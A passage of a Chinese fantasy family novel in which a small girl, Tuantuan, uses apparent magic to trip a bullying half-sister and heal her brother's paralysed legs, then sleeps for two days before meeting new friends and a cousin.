他猛地一咬舌尖,趁着剧痛的刺激,左肩微沉,使足了力气意图带动左腿向前迈出一步,同时右腕一抖,一招“流星赶月”本该随之疾进。
可是,意念到了,那股力量却在中途溃散了。
重心一空,整个人仿佛被无形的巨斧劈成了两段,完美运转的上身此刻成了沉重的负担,带着失控的狼狈,他猛地扑倒在地。
“哐当!”一声刺耳的金属摩擦石板的锐响,承影脱手飞出,在地上弹跳了几下,寒光黯了下去。
“少爷!”七星急忙扑过去将他搀扶起来。
尘土飞扬,雪白的衣裳沾上了一层灰尘,先前所有的气势和尊严,在这一摔之下,碎得干干净净。
“啊……”树后的萧宁珣捂住了团团刚欲出口的惊呼,在她耳边轻声说道:“嘘,别出声,团团,这是咱们的二哥萧宁辰。”
团团点了点头,原来是二哥哥啊!二哥哥的腿怎么这样了呢?
萧宁珣给她解释:“二哥原本是咱家武功最好的,天赋极高,从小就名动京城,可惜,几年前,二哥的腿突然生了怪病,没了力气,走路都必须有人扶着。”
萧宁珣心里很疼:“自此以后,二哥便沉默寡言,再没碰过爹爹给他的那把宝剑了。”
“咱们走吧,他肯定不愿意让咱们看到他这个样子。”
二人在花园中游玩,无意间看到了萧宁辰正在练剑,萧宁珣了解自己的二哥,便拉着团团躲在树后,默默看着,不想惊动他。
团团似懂非懂的看了他一眼,听话地点了点头,又不舍地看了眼萧宁辰,二哥哥摔倒了,肯定很疼吧,好可怜哦!
“啧啧,明知道自己现在跟瘸子一般无二,居然还偷偷练剑?二哥现在这个狼狈的样子,若被外人瞧见,王府的脸都要被给你丢净了。”
一道清亮的女声响了起来。
萧宁辰闻言脸色更加惨白,却没有开口反驳,咬紧了牙关未发一言。
“四小姐!你怎能这样说少爷!”七星愤愤不平。
“住嘴!你一个小厮,怎敢如此无礼,质问小姐!“萧宁姝身后的一个婢女大声训斥了七星一句。
“何必多言,海棠,给我掌他的嘴!我不喊停,不许停下!”
刚才出声的那个脸蛋圆圆的婢女走到七星面前,高高地抬起了手便要落下。
萧宁姝扶着另一个尖脸的婢女春桃,缓缓走过来,站在了海棠身后。
萧宁辰脸色一沉:“我看谁敢!“
海棠的手垂了下来,回头看向萧宁姝。
萧宁姝哼了一声:“我是宁王府的四小姐,他不过一个小厮下人,对我出言顶撞,怎么?我连一个下人都罚不得了?“
“跪下!“她对着七星一声厉喝,七星无奈,跪倒在地。
萧宁姝瞄了他一眼,慢悠悠的道:“二哥,你我同为庶出,地位一样,你既然不会调教,宽纵下人,我便帮你教导教导他,何为上下尊卑!“
“海棠!还等什么?给我打!“
七星心知这位四小姐被方侧妃从小骄纵惯了,对下人素来便是如此,自己这顿打是躲不掉了,他咬了咬牙,闭上了眼睛,等待着脸上即将落下的巴掌。
第17章 二哥哥的腿好啦
“哇哦!原来,你不是嫡女啊!“团团牵着三哥的手,从树后走了出来,这个坏姐姐跟那个黑婆婆一样一身的黑气!嘴还这样坏!我偏不让你打!
”我是嫡女,我说不让打。“她抬起小脑袋看着萧宁珣:“三哥,可以吗?“
萧宁珣柔声道:“可以啊,团团是嫡女,当然可以。“
萧宁姝脸色一变,狠狠地盯着团团:“原来,你就是那个捡来的野种!“
萧宁珣脸色一沉:“四妹慎言!团团是祖母叩拜过祖宗,亲定的王府嫡女,你一庶女之身,岂可出言侮辱?“
萧宁姝脸上青白不定,论礼法,萧宁珣所言确实如此,也罢,这笔账暂且记下,改日再算:“罢了,本小姐才不与这奴才一般见识,咱们走!“说完转身便走。
两个婢女瞪了一眼团团,连忙跟在了她身后。
七星站起来,小跑着弯腰捡起承影,仔细擦拭,这可是少爷的宝贝啊。
团团看了看脸色依旧惨白的二哥,不行,这个坏姐姐这样欺负二哥哥,必须得给二哥哥出口气!
她低头打开了腰间的绣囊,掏出了一截断了的风筝线,那是她昨日才刚捡来的宝贝。
抬了抬小下巴,她冲着萧宁姝的背影扔了出去:“绊她!“
风筝线瞬间在空中消失无踪。
萧宁姝裙摆一荡,脚尖像是被什么东西勾住了,身子瞬间前倾“啊!”的一声惊呼,整个人拍在小径的青石上。
“小姐!“海棠和春桃急忙过去拉她,她扶着婢女的手,顺势预起,脚腕处一阵钻心疼痛传遍全身,又坐倒在地。
团团侧着头看她,一本正经地问:“脚脚痛吗?以后不许再说二哥哥是瘸子了。否则,你说一次,就会摔一次!”
萧宁姝回头看着她:“你!“气得说不出一句整话。
海棠和春桃用尽全身的力气,才将她扶起,三人缓缓离开。
七星上前一步,给团团行礼:“多谢小小姐救了奴才!“
团团掸了掸小手:“没事儿啦!谁让她不讲理,先欺负二哥哥,又欺负你嘛!“
说完,蹦蹦跳跳地来到萧宁辰的身边,拽了拽他的衣角:“二哥哥!我是团团!你的妹妹团团!二哥哥刚才,像跳舞一样,真好看!“
萧宁姝是如何摔倒的,兄弟二人都清清楚楚的看见了,此时二人对视了一眼,虽然都震惊不已,却都默契地没有去提。
萧宁珣心中更是弩定,团团定是一个小神仙!
萧宁辰则低头看着这个小妹妹,脸上的酒窝分外亲切,和母亲的一模一样。
心中一阵暖流流过,这个妹妹,真是太可爱了。
他几乎忘记了刚才摔倒的狼狈,伸出手摸了摸团团的小脑袋:“团团,二哥谢谢你。“
团团笑得一脸灿烂:“二哥哥,你的腿还痛不痛啊?我扶你回去好不好?“
“好。“
七星赶忙扶住了他的右臂,团团则努力扶着他的左手。
萧宁辰将身体向七星微倾,怕自己的重量压到她,萧宁珣默默地跟在他们身后,几人走进了萧宁辰的住所,辰振轩中。
萧宁辰进到内室更衣,团团第一次来这里,好奇地在屋中走来走去,摸摸这里,碰碰那里:“三哥哥!二哥哥这里有好多东西,跟你的珣玉斋不一样哦!“
萧宁珣指着墙上挂着的弓箭告诉她:“这是二哥九岁时爹爹给他的弓箭,二哥在演武场上用它参加比赛,百步穿杨,拿了头名。“
“那是二哥十二岁时用的环首大刀,春猎时,二哥用它猎到了一头好大的黑熊呢!“
“哇哇哇!二哥哥真厉害啊!”团团听得两眼放光。
“三弟,不提那些了,你们坐。”萧宁辰重新换上了一身白袍,扶着七星走了出来,坐在椅中,整个人干干净净,气质出尘。
团团跑到他的膝前,搂着他的腿,抬起头:“二哥哥!你的腿,是玩的时候,摔坏的吗?”
“团团!”萧宁珣知道二哥最不喜别人提起他的腿疾,连忙喊了她一声。
萧宁辰摆了摆手:“不必如此忌讳,都已经过去好几年了,我也习惯了。”
萧宁珣心中一酸,你怎么可能习惯!二哥,看你刚才仍旧在偷偷练剑,就知道,你是多么希望自己的双腿还能恢复了。
萧宁辰低头看着趴在自己膝头的团团,轻声道:“二哥的腿,不是出去玩摔的,是突然就没了力气了。”
“老爷爷也治不好吗?老爷爷很有本事的,他说,爹爹的病都快好了呢!”
萧宁辰一怔,老爷爷?哦,妹妹指的一定是常来王府的郭太医:“老爷爷也没能治好。二哥哥这腿,恐怕今生今世,便只能如此了。”
萧宁珣不忍:“二哥!你不要这样说,爹爹的病那样重,现在都快好了,你的腿一定也能好的!对不对?团团?”
团团此时已经坐在了萧宁辰椅前的脚踏上,两只小手扒着他的双腿,听到这话,看了眼三哥,又看了眼二哥。
“对啊!二哥哥的腿一定能好!团团帮你!”
萧宁辰因为刚才那一摔,腿上还有些生疼,一边轻轻揉着,一边对着她微微一笑:“团团怎么帮二哥哥啊?“
团团抱住他的膝头,吹了一口气:“团团吹吹,痛痛飞飞。”说完还用两只小手在他的腿上慢慢抚过,从膝盖摸到脚踝。
萧宁珣笑了,刚想说话,却看到二哥的脸色突然变了。
萧宁辰目光闪烁,神情肃然。
这是什么?绝对不是自己的错觉!
那双小手,掌心触及之下,一股完全陌生的暖流,如同被春阳晒得最暖的溪水,温和却不容抗拒地渗了进来!
所经之处,盘踞在他双腿深处,蚀骨啃髓般的滞涩,竟像是冰雪遭遇了烈阳,开始飞速消融!
一种深入骨髓的、令人战栗的麻痒从皮肉深处钻出来,像是万千沉睡已久的生机被强行唤醒,正在争先恐后地破土重生。
这痒意如此剧烈,让他几乎要忍不住攥紧了双拳,痒劲过后,
那股暖流像是冲破了什么阻碍,越来越汹涌,如同洪水决堤,在他的经脉里奔腾冲撞!
每一寸被暖流冲刷过的地方都像是干涸的土地贪婪地吸收着甘霖,变得渐渐充满了力量。
萧宁辰脑中一片空白,巨大的震撼和狂喜令他浑身剧烈地颤抖起来。
他几乎是凭借着本能,猛地一用力,站了起来。
再没有以前的瘫软,他的双腿稳稳地撑住了身体,前所未有的轻盈和坚实的感觉从脚底直冲头顶。
“二哥!“萧宁珣冲过来,想扶住他,却在看到二哥一脸的惊喜时停了下来。
二哥他,没用人扶,自己……站起来了?
第18章 睡着啦,叫不醒的那种
萧宁辰难以置信地低下头,看着自己的双腿,而后目光落在了膝前那个似乎完全不知道自己做了什么,只是眨巴着大眼睛望着他的小不点。
无边的惊骇、灭顶的狂喜,和一种近乎恐惧的敬畏,瞬间淹没了他。
萧宁辰眼皮微颤,指尖收紧,俯身将团团抱在了怀里。
团团稳稳地坐在他的臂弯里,眼睛亮得要命。
萧宁辰抱紧了她,缓缓地踏出了一步,两步……
“少爷!“七星从外面端着茶走进来,看到眼前的情形,一声惊呼,手中的茶盘落在了地上。
萧宁辰的脸上绽放着光彩,在屋里又来回踱了几步,突然,他脚背横扫向桌腿,“喀”的一声,桌角的木榫被他踹得裂开了一条缝。
团团看得高兴,小手不停地拍着巴掌:“二哥哥的腿好啦!二哥哥的腿好啦!“
她咯咯直笑,得意非常:“痛痛怕我,它飞走啦!”
萧宁辰将她抱得更紧,小脑袋贴着自己的肩头:“是啊!团团真厉害,把二哥哥的痛痛赶跑啦!“
“以后,团团想去哪里玩,二哥哥都陪你去!想吃什么吗?京城最有名的点心铺子巧酥阁里甜食味道最好,二哥哥给你都买回来!“
团团打了个哈气,搂着他的脖子:“团团好困哦,二哥哥,我想睡一会儿,睡醒了再去吃点心。“
“好!好!就在二哥哥这里睡一会儿好不好?睡醒了带你去买点心!“
“好!“团团乖巧的应了一声,趴在他的胸口,几乎是一瞬间,便睡了过去。
“七星,去往床上多铺一层被子,将帘子都拉上。“
“是!“七星赶紧将一切收拾妥当,萧宁辰这才轻轻地把团团放到了床上,又细心地给她盖好了被子。
兄弟二人走到外间,互相看了一眼:“七星,再去煮一壶好茶。“
“是!二少爷!“主子有话要说,七星会意,走了出去。
屋内只有兄弟二人了。
萧宁珣这才赶忙问了出来:“二哥!你的腿,真的全好了?“
萧宁辰缓缓坐下,手落在膝盖处轻揉:“并未全好。方才踢了那一脚后,如今脚背抽跳,这里有些酸胀。不过,我相信,只要今后勤加练习,恢复如初指日可待。“
“团团真是太不可思议了!二哥!我现在也不怕在生人面前说话了,人再多都不怕了,也是多亏了她呢。“
“哦?“萧宁辰挑眉:”怎么回事儿?“
萧宁珣将当日之事一一道出,萧宁辰脸上的惊讶之色更甚。
“方才四妹妹摔倒……“他看了一眼弟弟,将剩下的话咽进了肚子里。
“嗯。“萧宁珣点了点头,”二哥也看到了?你说团团是不是一个小神仙啊?自从她来了以后,爹爹和你我的病都越来越好了。“他脸色突然一变:“不好!七星刚才……?”
“无妨,当时七星正背对着咱们,擦拭承影,没有看到。你说爹爹?“
萧宁珣又讲了半晌,才将这些日子王府中的事情都讲了一遍。
听到团团被方清研诬陷,萧宁辰的目光陡然冷冽,萧宁珣都不禁打了个寒战。
又听到雪豹,夜明砂,萧宁辰的脸色则是一副原来如此的模样。
“三弟,团团身上的事,太过匪夷所思,若传了出去,恐会给她招来祸患,你我二人务必要守口如瓶才好。“
“一定!一定!我懂。“萧宁珣不停点头:”无论团团是哪一路的神仙下凡,都已经是咱们家的人了,自然是要护好她!
二人聊了足有半个多时辰,萧宁珣看了看外面的天色:“团团还没醒?再晚了巧酥阁都要打样了,二哥,咱们把她叫起来吧。”
兄弟二人走到内室,只见团团一动不动,还是刚才萧宁辰将她放下时的姿势,不禁相对一笑:“睡得真沉。“
萧宁珣握起她的小手:“团团?醒醒吧,再不醒,好吃的点心就要被别人买光啦。“
手腕细软,乖乖地躺在哥哥手中,纹丝未动。
萧宁辰唇边露出一抹微笑:“团团,起来吧,二哥带你去买这京城最好吃的点心,吃完了再睡。”
团团依旧安静。
兄弟二人互相看了一眼,都在对方眼中看到了一丝惊疑,二人迅速都坐到了床边,萧宁珣把团团连同被子一起抱了起来,大声呼喊:“团团!团团!”
小小的脑袋无力地垂了下来,二人心中都是一紧。
又呼唤了数声,团团还是没有任何回应。
“二哥!团团她……”萧宁珣声音颤抖,眼泪涌进了眼眶,这些日子团团整日跟他黏在一起,早已成了他最爱的小妹妹。
比那个从小一同生活在王府的萧宁姝还亲近百倍。
萧宁辰怕自己的腿力道不行,用被子把团团包成了个卷,放到弟弟怀里:“抱稳她!去静兰苑!“
兄弟二人以最快的速度跑进了母亲的院子里,“母亲!团团!我们叫不醒她!“
程如安看见团团的模样,心中大痛,几乎站立不稳:“来人!去请郭太医!“
“我腿脚快,我去!“萧宁珣冲了出去。
郭太医跨进静兰苑时,老夫人,程如安,萧宁辰都坐在团团团的床边,他刚想行礼,便被老夫人拦住:“不必拘礼,赶紧给我孙女看看。“
郭太医急忙给团团诊了脉,半晌后,他捻着胡须,摇了摇头:“小小姐脉象沉稳,不似有病啊。”
“那她为何沉睡不醒?难道……王爷……“程如安不敢想下去,丈夫便是这般突然人事不知,难道女儿也要如此吗?
“请王妃宽心,小小姐只是睡着了而已。”
郭太医面露疑惑,宁王府这一家子怎么全是怪病:“虽然奇怪,但依老夫所断,并非疾病,倒像是,因为什么,耗多了心神所致。”
萧宁辰和弟弟互相对视了一眼,心中已有了猜测。
郭太医起身行礼:“让她继续睡吧,老夫开一副补心的方子,待她醒来给她服下几剂,应该便无大碍了。“
老夫人点了点头:“有劳太医了。“手中紧握的念珠松开了:”祖宗保佑!“
程如安拭了拭脸上的泪水,把锦被给她掖好,“乖团团,睡饱了赶紧醒啊,别吓娘亲。“
郭太医走后,程如安看着两个儿子:“你俩有事?辰儿你,怎么没让人扶?七星呢?”
她刚才心急如焚,现在才来得及细问。
萧宁辰看了弟弟一眼:“不必隐瞒。“
于是,二人你一言我一语,将事情说了一遍。
老夫人和程如安惊喜异常,萧宁辰的腿,自三年前突发恶疾后,请了多少大夫都束手无策,没想到只一夕之间,便被团团治好了!
惊喜过后,二人也明白了:“原来如此,团团是为了治你的腿,才耗费了心神,沉睡不醒。”
她看了老夫人一眼,老夫人道:“自家儿孙,不必隐瞒。”
程如安将老夫人的眼疾和玲珑净厄珠的事情告诉了两个儿子。
老夫人道:“神仙真人!团团真是祖宗显灵赐给咱家的福星,自她来了以后,王府诸事见好,今后你们都要将她视为骨肉至亲,加以爱护。”
“但对外人,断断不可提到团团的异常之处。”
几人纷纷郑重点头。
“母亲请回听雨阁歇息吧,我和孩子们守着她,您年岁已高,若熬出病来,晚辈们心下难安。”
老夫人点点头:“团团醒了,马上派人来告诉我。”
这一夜,兄弟二人无论如何也不愿意离开静兰苑,不错眼珠地盯着团团。
程如安见状也不再劝阻,干脆跪到了祠堂里,烧香祷告。
老夫人在听雨阁中坐卧难安,最后干脆起来,将《北斗经》取了出来,抄了一宿的经书。
次日晨起,团团依旧未醒。
一家子正围坐在团团的床边,下人在外禀告:“吏部侍郎家的二公子在外求见……小小姐。“
第19章 摸到了老爷爷的胡子
众人都抬起了头,有些不明所以,程如安问:“陆家老二来找团团做什么?“
萧宁珣站起身:“团团同他在万灵苑见过一次,祖母,母亲,不必理会,我去看看。“说罢转身走了出去。
来到大门口,只见陆清嘉正站在马车前,身后跟着两个下人。
见到萧宁珣,他马上笑着迎了上来:“萧兄!我来找你妹妹,带她一起去万灵苑看雪豹!带了一箱子肉干呢!我今日定要摸一摸它!“
寸步不离他的小八哥接着话尾巴喊:“雪豹!雪豹!“
萧宁珣暗暗皱眉,脸上却不动声色:“团团昨日受了风寒,正在养病,你改日再来吧。“
陆清嘉一听,像泄了气的皮球一样脸色垮了下来:“哦,真是不巧。好吧,那我改日再来,告辞了。“
“告辞。“萧宁珣转身刚要走,”等一等!“
回头一看,陆清嘉从马车里取出一只锦盒,将盒子往他手中一塞:“这是我才刚新得的玩意儿,叫什么九曲金波。”
“你帮我带给你妹妹吧,她年纪小,生了病肯定闷得慌,正好拿来取个乐。“
萧宁珣低头看了一眼锦盒,心中不快,团团是我的妹妹!这个小子惦记什么!嘴上却并未失礼:“多谢了。“
陆清嘉高兴起来:“这一趟没白来!你可一定要交给她啊,萧兄,我下次来会亲口问她的。“
“知道了知道了,告辞告辞。“萧宁珣拱了拱手,不再搭理他,转身回去了。
回到静兰苑,他随手将锦盒放在了百宝阁上。
郭太医再度被请了过来:“与昨日一样,睡一睡便好。”
纵然他如此解释,程如安的眼泪依旧流了下来:“团团啊,还没睡够吗?快点儿醒过来吧,娘亲都快急死了。“
次日,天刚蒙蒙亮。
团团“嗯”了一声,伸了个大大的懒腰,迷迷糊糊地睁开了眼,看见娘亲正闭着眼睛趴在自己床边,像是睡着了。
她伸出小手,摸了摸程如安的头发:“娘亲,你怎么不上床来睡啊。“
程如安猛地睁开眼,握住了她的小手:“团团!你终于醒啦!哪里不舒服吗?告诉娘亲?”
萧宁辰和萧宁珣兄弟俩也马上也扑了过来:“团团!你好吗?有没有什么地方难受?”
团团眨了眨眼,低头看了看自己:“我很好啊!睡得饱饱的!二哥三哥!你们也在?娘亲,我饿了。”
程如安喜极而泣:“来人!快!小姐饿了!对了,快去回禀老夫人!”
程如安给她穿好衣服,萧宁辰将她一把抱了起来:“走,二哥带你去吃饭!”
一想到团团是因为自己的腿才睡过去这么久,萧宁辰心疼得无以复加,这两日,仿佛总有无数根细针密密麻麻地在自己的五脏六腑上不停地扎,让他又急又痛。
幸好!她终于醒过来了。
老夫人也匆匆赶了过来,这顿早膳,团团在几个大人贪婪的注视中,吃了很多很多。
程如安还是不放心,又将郭太医请到了王府。
郭太医给团团诊完了脉:“诸位不必担心,小小姐的身子好着呢!不过,居然能睡这么久,老夫也当真是从没见过。”
程如安眼神微动:“小女顽皮,想来是玩得太久,有些脱力罢了。”
“老爷爷,我病了吗?”团团盯着他胸前飘着的胡须,眼珠子一转。
“没有没有,什么病都没有!不过,我开的药,还是请小姐按时服上几日才好。”
“药药很苦!我不吃!”团团一本正经地摇头。
“小孩子要听话哦!药是一定要吃的。”郭太医看着她粉嫩的小脸,笑着哄她。
“可是,我不想吃捏!”团团鼓起了小嘴。
郭太医犯了难,求助地望向程如安。
程如安刚想开口,团团抢着道:“除非……老爷爷让我摸一摸你的胡子!”
郭太医一楞,随即便笑了:“原来,小姐是这个心思。好吧,便让你摸摸看,”
团团一听,乐了,两只小手摸上了郭太医花白的胡须:“哇哦!老爷爷,你的胡子好软啊!比雪豹的毛毛还软!”
大人们都笑了。
郭太医走后,虽然大家都希望团团能好好休息,但她已经睡了那么久,哪里待得住。
只是,程如安不让她出房间,她便只能在屋子里玩了。
团团虽然不乐意,这一次却没能拗得过王妃,但好在还有两个哥哥陪着。
突然,百宝阁上从没见过的锦盒,引起了团团的注意:“那是什么?”
萧宁珣取下锦盒递给她:“是那天在万灵苑遇见的陆清嘉,送给你的,我也不知道是什么东西,打开看看?”
“嗯!”团团把锦盒放到脚踏上,打开一看,只见里面装着一方白玉琉璃池,池子里躺着两尾浑身金鳞,镶嵌宝珠的小鱼。
团团眼睛都瞪大了:“哇哦!真好看啊!这是送给我的?”伸出小手摸了摸鱼儿,又摸了摸白玉池,一副爱不释手的样子。
萧宁辰和萧宁珣见了,彼此对视了一眼,心中都不约而同地懊悔,怎么就没想到给团团多搞一些这样精巧的玩意儿呢!倒让个外人抢了先!
像是在回答她的提问,下人的声音从门外传来:“吏部侍郎家的二公子又来了,求见小小姐!”
团团指了指自己:“见我?”
萧宁珣皱了皱眉,怎么又来了!“就是送你这礼物的,那个总带着一只八哥鸟的小子。”
团团眼睛一亮:“八哥!我喜欢那只小鸟!”
萧宁辰道:“请他进来。”
片刻后,陆清嘉身穿淡蓝衣袍,眉眼飞扬地走了进来。
人还没到,小八哥的声音就已经传了进来:“这事儿我熟!熟熟熟!”
“哎哟!你们都在啊!”
团团坐在萧宁辰的怀里,盯着那只小八哥,眼睛都亮了。
三个少年互相拱手行礼。
萧宁珣抢先开口:“我妹妹身体刚好,去不了万灵苑。”
“我今日登门,只是探病,并非要带令妹去万灵苑。不过,也确实有一要事。”
陆清嘉从袖子里抽出一张小小的拜帖,递给了团团。
萧宁辰接了过来,只见拜帖封面上写着“请盟帖”三个大字。
打开再看:“少年游盟会,愿奉宁王府小小姐团团为小盟主。
陆清嘉谨上。”
第20章 做了小盟主
萧宁辰嘴一撇:“少年游盟会?什么玩意儿?怎么还要找团团当盟主?”
陆清嘉看着团团:“小团团,我有好几个一起长大的玩伴,都特别喜欢动物。上次你在万灵苑中收服那雪豹,我回去告诉了他们,他们都羡慕得不得了。”
“我们一商量,打算成立一个少年游盟会,尊你为盟主,以后,大家一起去玩,你喜欢不喜欢?”
团团没听懂:“盟主是什么啊?”
“盟主就是,咱们这个少年游盟会的头头!只要你说话,我们都听你的!因为你是盟主嘛!”
团团兴奋的手舞足蹈:“耶!我当盟主啦!”
萧宁珣哼了一声:“陆二,为了能让团团以后陪着你们去万灵苑,你可真没少下工夫。”
陆清嘉讪讪一笑:“我有礼物啊!抬上来!让你们看看我是不是诚意满满!”
两个下人抬了一个大箱子进来,放在地上,打开了盖子。
彩绘风筝、竹蜻蜓、琉璃弹珠……全是送给团团的玩意儿,把团团看得眼花缭乱,兴奋得脸都红了,趴在了箱子边上,小手在里面不停地扒拉着。
萧宁辰和萧宁珣的脸登时都黑了,这个臭小子!刚想给团团买光所有她能玩的玩意儿,他竟然就都送来了!
陆清嘉蹲下身子:“怎么样?小团团?愿不愿意做盟主?”
“做做做!”团团头都没抬,就答应了。
八哥跟着大叫:“做做做!”
团团抬起了头,伸手去摸它,陆清嘉往后一躲:“别,不熟悉的人,它会咬。”
萧宁辰一听,急忙将团团抱了起来,瞪了陆清嘉一眼,这么危险的东西,居然敢带进来!
“不嘛,二哥哥,放我下来,我想摸。让我摸嘛,它不会咬我的。“团团不干了。
萧宁辰无奈,只得将她放在了地上:“陆二,它若是敢咬团团,我马上就拿它去炖汤!“
陆清嘉让小八哥站在自己的手指上,哆哆嗦嗦地靠近了团团,“千万别咬啊,否则就进锅了。“
“小鸟鸟,你要乖哦,我是团团。你好聪明啊!会说那么多话,我摸摸你好不好?不要咬我哦!“团团一边碎碎念,一边伸出一只小手,慢慢靠近了它。
小八哥歪了歪脑袋,没等团团的手伸到,就主动蹭了过去。
团团开心了,直接双手抱住了它,陆清嘉一声惊呼:“别!“
团团却已经把小八哥捧在了手里:“小鸟鸟!你喜欢我,对不对?“
小八哥用嘴在她的手上来回地蹭着,非常享受地任由团团抚摸着它光滑的羽毛,扯开了嗓子大叫:“喜欢!喜欢!“
陆清嘉看得目瞪口呆:“天哪!我这样做它都会咬我!团团,你太厉害啦!不不,盟主!请受我一拜!”说完还真的冲团团行了个礼。
团团歪着小脑袋想了想,虽然,搞不懂当了这个盟主要做什么,但是,人家送了这么多好玩的给自己,刚刚也已经答应了,就这样吧:“好!”
她继续抚摸着小八哥:“它叫什么名字啊?”
陆清嘉一怔:“名字?它只是一只鸟,没有名字。”
团团不高兴了:“这么可爱的小鸟,怎么连名字都没有?”
“就叫它……”她想了想:“小话梅!他的眼睛黑黑的,亮亮的,身上香香的,像娘亲给我吃的话梅糖!”
陆清嘉乐了:“好!听盟主的!以后它就叫小话梅了!”
团团摸了摸小话梅的脑袋:“小话梅,你喜不喜欢我给你取的名字啊?”
小八哥扯开了嗓子大喊:“小话梅!小话梅!”
团团开心地将它放在脸颊上贴了贴,抬头望着两个哥哥:“它喜欢这个名字呢!哥哥!“
转过头一本正经地告诉小话梅:“你叫小话梅,我叫团团哦!“
小八哥一双黑亮的小眼睛望着她:“团团!团团!团团!“
团团兴奋得不行,使劲在它的小脑袋上亲了一口。
兄弟二人一脸的姨母笑,妹妹怎么能这么可爱!这么可爱的妹妹是我家的!
陆清嘉看到了脚踏上打开的锦盒:“盟主!这可是个稀罕东西,我好不容易得的呢!来,我教你怎么玩。“
萧宁辰脸一沉:“团团还在养病,你也待够了,回去吧。“
萧宁珣更是直接将他一把拽了起来:“走,陆二,我送你。“
陆清嘉无奈地被他拉着往外退,团团松开了手,小话梅飞到了他的肩上,他边退边喊:“盟主!七日之后!咱们一起出去玩,别忘了啊!”
萧宁珣替妹妹回答:“知道了!知道了!赶紧走吧你!”
把陆清嘉“扔“出了王府,兄弟二人陪着团团,玩起了堆成小山的玩意儿,团团清脆的笑声回荡在静兰苑的每个角落。
程如安看着自己的三个儿女玩成一团,忍不住唇角勾了起来。
此时的听雨阁,下人低声通传:“萧文礼少爷人在府外,求见老夫人。”
老夫人眼神一暗:“让他进来吧。”
顺姑轻声道:“老夫人莫要哀伤,三爷虽已不在,但文礼少爷天资聪颖,学业精进,也是三房的福气了。”
老夫人长叹一声:“我这两个儿子,虽都是嫡子,却天差地别。老大功勋卓著,老三却文不成武不就,身子还弱,早早便去了,只留下文礼这么一个庶子。“
“唉,我每每看到文礼,便想起他的父亲,心中难受得紧。”
“这孩子也是可怜,母亲难产而亡,父亲早逝,我本想带在身边,好生教养,偏生这孩子性子冷淡,同谁也不亲。启蒙后便送去了凌云书院,跟王府情分淡薄。”
“如今他也大了,我不指望他光宗耀祖,只盼着他能挣得一份安身立命的功名,衣食无忧,平安顺遂的度日,也就罢了。总好过他父亲那般……罢了,不提了。”
正说着,一个少年一身青布直裾,身子笔直地走了进来,规规矩矩地行了礼,呈上一纸师训信札:”给祖母请安。“
“国子监内有几位致仕的老翰林明日起公开讲学,专为指点有志于秋闱的学子。蒙学中师长不弃,推荐孙儿入内旁听。“
“故而今日特来禀明各位长辈,明日起,孙儿便入住国子监了。他日若侥幸得中,亦可光耀门楣。“
“起来吧。”老夫人看着他:“既如此,去辞过你几位长辈,便去吧,莫要太过劳累,自己注意身子。”
萧文礼磕了个头:“孙儿谨记。”
随即起身站起:“孙儿告退。“
静兰苑中,团团正和哥哥们一起玩着陆清嘉送的那个九曲金波。
萧宁珣惊叹:“母亲,团团真聪明!一看就知道这东西该怎么玩!我都看不明白。”
萧宁辰也有些惊讶:“这小玩意儿竟然暗含机关,我也没看懂,团团居然摸了两下就知道怎么玩了。”
听着两个哥哥的夸奖,团团得意洋洋地摇起了小脑袋。
程如安一脸微笑的坐在一旁。
萧文礼走进来时,看到的正是这样其乐融融,温馨无比的情景,想到自己自幼失怙,孤苦伶仃,他心里一堵,如同被针刺了一下。
第21章 爹爹醒啦!爹爹不要崽崽!
萧文礼心中不快,面上却没动声色,冲着程如安行了一礼:“伯母金安。”
“快起来,文礼怎么过来了?“程如安柔声请问。
萧宁辰和萧宁珣两人起身对他拱手。
萧文礼站起后向兄弟二人拱手行礼,将要去国子监的事情告诉了程如安。
程如安不停点头:“好!好!文礼如今真是出息了。刘嬷嬷,去账房,取二百两银票给他,再去库房,挑几身他合身的衣裳,棉的薄的都要,给他带上。“
“是。“
程如安想了想,又嘱咐了一句:“科考艰难,求学不易,尽力便好,不要委屈了自己。“
“多谢伯母厚爱,侄儿记住了。“
团团望着这个陌生的少年:“你是谁啊?“
程如安赶忙给她解释:“这是你堂哥,萧文礼。文礼,这是我的女儿,团团,你们还没见过呢。“
“堂哥?“团团跑到萧文礼面前,仰起了头,这个哥哥虽然不如二哥三哥好看,但也不错啦!自家的哥哥都挺好看,比那个陆清嘉强!
她鼻尖耸动,凑过去使劲嗅了嗅:“糖哥?没有糖的味道啊!”
萧宁珣笑了:“这个堂哥,不是糖做的哥哥,是三叔的儿子,论辈分,也是你的哥哥,但不是爹爹的儿子,所以叫堂哥。”
“哦!”团团明白了:“堂哥!我是团团!娘亲的女儿,你以后,要多来找我玩啊!”
她转头看向程如安:“娘亲!堂哥要去做什么?”
“你堂哥书读得好,要去京城最好的书院里读书,考试。”
“什么是考试?”团团很认真地问。
“考试啊,就是很多人,写同一道题目,然后由先生们评出等级,等级高的就往上走,等级低的就要重新读。”
“很难吗?”
“对啊,很难的。”
团团“唔”了一声,点了点头,转身跑到桌边,抓了一把碟子里的桂花糖,又跑回萧文礼面前,将手中的糖举得高高的,踮起小脚,递给他:“堂哥!给你!”
萧文礼愣了一下,接了过来,低头看着那双亮得没心没肺的大眼睛,眼波澄澈,一派天真。
不由得心里一动,身上那层他从不肯卸下的防备,如同被掌心的糖融化了几分,低声道:“谢谢你。”
程如安看在眼里,脸上笑意更深:“刘嬷嬷已把东西都交给门外你的小厮了,去吧,若有事,记着要遣人来回禀,不要委屈了自己。”
萧文礼再度行礼:“侄儿记住了。“
离开了静兰苑,他脚步顿了顿,走进了凌霜阁。
相比起静兰苑中的热闹,凌霜阁里静悄悄的。
“给姨娘请安。“
听他禀明了来意,方清研微微一笑:“你自幼住在书院,吃了不少的苦,如今眼看着就要熬出了头,我也替你高兴。“
“唉,老夫人总是偏着大房,你莫要放在心上。他日你金榜题名,撑起三房的门楣,才不愧对你早逝的父母。”
“依照礼数,我本该送你些东西,贺你学业有成。”
“不巧前些日子,王妃姐姐寻了个由头,竟将我院内的份例克扣了一半,姝儿如今又回来了,我这个姨娘手头没有丝毫的富裕,竟不能给你备一份像样的贺礼。”
说罢,她抬起锦帕,轻轻拭了拭脸上那毫无踪迹的泪水。
萧文礼听后并未接话,脸上没有丝毫波澜。
方清研面上一僵,独角戏有些唱不下去。
内室脚步声轻响,海棠和春桃扶着萧宁姝走了出来。
她的脚仍然疼痛,虽然有婢女搀扶,走得还是有些艰难,看见萧文礼,勉强行了个礼:“见过堂哥。“
萧文礼点了点头,瞄了一眼她的脚,随即目光收回:“妹妹这是?“
